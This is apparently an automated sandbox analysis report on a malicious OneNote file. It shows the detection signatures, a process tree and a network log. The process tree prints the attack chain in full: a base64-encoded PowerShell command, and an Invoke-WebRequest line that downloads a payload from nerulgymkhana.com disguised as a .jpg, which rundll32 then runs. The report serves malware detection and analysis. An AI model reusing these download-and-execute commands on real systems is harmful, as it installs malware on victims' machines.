Edit tour

Windows Analysis Report
Original.one

Overview

General Information

Sample Name:	Original.one
Analysis ID:	800789
MD5:	f727e5b082e13d521668e2908b3b7607
SHA1:	4eb0f8309b33e7f79cfa2d37523690dbe1ad0c97
SHA256:	8529b2ec8ed9d701904b8e2560cb3f12d049fedecb588102b5baf6d7a4c7830a
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Execute DLL with spoofed extension

Malicious sample detected (through community Yara rule)

Document exploit detected (process start blacklist hit)

Suspicious powershell command line found

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Creates a start menu entry (Start Menu\Programs\Startup)

Sample execution stops while process was sleeping (likely an evasion)

Stores files to the Windows start menu directory

JA3 SSL client fingerprint seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Enables debug privileges

Classification

Process Tree

System is w10x64

ONENOTE.EXE (PID: 2956 cmdline: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE" "C:\Users\user\Desktop\Original.one MD5: 8D7E99CB358318E1F38803C9E6B67867)

ONENOTEM.EXE (PID: 5592 cmdline: /tsr MD5: DBCFA6F25577339B877D2305CAD3DEC3)

cmd.exe (PID: 6096 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\Open.cmd" " MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 2104 cmdline: powershell [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCnBvd2Vyc2hlbGwgSW52b2tlLVdlYlJlcXVlc3QgLVVSSSBodHRwczovL25lcnVsZ3lta2hhbmEuY29tL0NDb04vMDEuZ2lmIC1PdXRGaWxlIEM6XHByb2dyYW1kYXRhXHB1dHR5LmpwZw0KcnVuZGxsMzIgQzpccHJvZ3JhbWRhdGFccHV0dHkuanBnLFdpbmQNCmV4aXQNCg==')) MD5: 95000560239032BC68B4C2FDFCDEF913)

cmd.exe (PID: 1404 cmdline: C:\Windows\system32\cmd.exe /K C:\ProgramData\in.cmd MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 3924 cmdline: powershell Invoke-WebRequest -URI https://nerulgymkhana.com/CCoN/01.gif -OutFile C:\programdata\putty.jpg MD5: 95000560239032BC68B4C2FDFCDEF913)

rundll32.exe (PID: 5564 cmdline: rundll32 C:\programdata\putty.jpg,Wind MD5: 73C519F050C20580F8A62C849D49215A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 2104	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x63c:$b2: ::FromBase64String( 0x21e2:$b2: ::FromBase64String( 0x15e53:$b2: ::FromBase64String( 0x15f8f:$b2: ::FromBase64String( 0x162a6:$b2: ::FromBase64String( 0x6f5fc:$b2: ::FromBase64String( 0x6f7ad:$b2: ::FromBase64String( 0x860ff:$b2: ::FromBase64String( 0x86220:$b2: ::FromBase64String( 0x86351:$b2: ::FromBase64String( 0x87e4b:$b2: ::FromBase64String( 0x87f85:$b2: ::FromBase64String( 0xa6969:$b2: ::FromBase64String( 0xa9a0d:$b2: ::FromBase64String( 0xb2adc:$b2: ::FromBase64String( 0xb313e:$b2: ::FromBase64String( 0xb75ad:$b2: ::FromBase64String( 0xdb588:$b2: ::FromBase64String( 0xdb6c3:$b2: ::FromBase64String( 0xdb9e4:$b2: ::FromBase64String( 0xdbcbb:$b2: ::FromBase64String(

Sigma Signatures

Data Obfuscation

Sigma detected: Execute DLL with spoofed extension

Source: Process started

Author: Joe Security: Data: Command: rundll32 C:\programdata\putty.jpg,Wind, CommandLine: rundll32 C:\programdata\putty.jpg,Wind, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /K C:\ProgramData\in.cmd, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1404, ParentProcessName: cmd.exe, ProcessCommandLine: rundll32 C:\programdata\putty.jpg,Wind, ProcessId: 5564, ProcessName: rundll32.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: unknown

HTTPS traffic detected: 109.203.123.62:443 -> 192.168.2.3:49704 version: TLS 1.0

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTE.EXE

Process created: C:\Program Files (x86)\Microsoft Office\Office16\ONENOTEM.EXE

Source: global traffic

HTTP traffic detected: GET /CCoN/01.gif HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: nerulgymkhana.comConnection: Keep-Alive

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown

HTTPS traffic detected: 109.203.123.62:443 -> 192.168.2.3:49704 version: TLS 1.0

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: powershell.exe, 00000003.00000002.274034149.0000027D4FF53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: powershell.exe, 00000003.00000002.274530600.0000027D500B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.aadrm.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.cortana.ai
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.office.net
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.onedrive.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://api.scheduler.
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://augloop.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://cdn.entity.
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://consent.config.office.com/consentweb/v1.0/consents
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://cortana.ai
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://cortana.ai/api
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://cr.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://d.docs.live.net
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://directory.services.
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://graph.windows.net
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://graph.windows.net/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://invites.office.com/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://login.windows.local
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://make.powerautomate.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://management.azure.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://management.azure.com/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://messaging.action.office.com/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://messaging.engagement.office.com/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://messaging.office.com/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: powershell.exe, 00000003.00000002.274530600.0000027D50643000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.274530600.0000027D50566000.00000004.00000800.00020000.00000000.sdmp, in.cmd.1.dr	String found in binary or memory: https://nerulgymkhana.com/CCoN/01.gif
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://ods-diagnostics-ppe.trafficmanager.net
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://officeapps.live.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://onedrive.live.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://outlook.office.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://outlook.office.com/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://outlook.office365.com
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: D95B36A3-A6E1-458A-A353-27D51DD43A0C.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
